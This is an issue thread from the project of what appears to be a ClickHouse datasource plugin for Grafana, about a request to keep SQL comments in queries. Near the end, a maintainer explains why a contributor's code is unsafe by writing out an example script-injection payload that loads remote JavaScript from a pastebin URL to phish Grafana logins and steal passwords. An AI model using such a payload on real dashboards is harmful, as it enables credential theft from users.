Feature Request: Respect comments in query

[hagen1778]

I'd like DS to respect comments set in query. The motivation behind FR is following:

1. Comments may contain useful information that may be used then for scanning query_log table;
2. Some users may apply additional logic based on comments content - like query complexity, permissions or retention checks.

I noted that #95 was solved by stripping comments off. Probably, comments forwarding may be optional.

[Slach]

Goog proposal I try to make it ASAP.

[fgbogdan]

Hi,
How should I update the code - allowing comments or not ?

[Slach]

@fgbogdan just turn off "skip comments" dashboard on query editor on latest master

[Slach]

[fgbogdan]

Ok - i see the "skip comment"
Now - should I do a new pull request and put back my changes or I have another way to integrate my code ?

[Slach]

@fgbogdan for your part of code with SQL logic functionality, unfortunately, cause we run direct JavaScript in page context,

Hackers can publish some dashboards and write something like

<%var d=document.CreateElement('script');s.src='https://pastebin.com/raw/jDrHGHsr';document.body.appendChild(s);%>

and from https://pastebin.com/raw/jDrHGHsr we will execute any js which can show standard grafana login and steal grafana users passwords, not only cookies

[Slach]

@fgbogdan just open https://requestbin.com/r/enwiu9j3057dn/1fl924qjkyCZHBTjD5V2YpxXXVS
there is just a simple explanation

[fgbogdan]

ok - got it.
then - so be it - 10x for effort.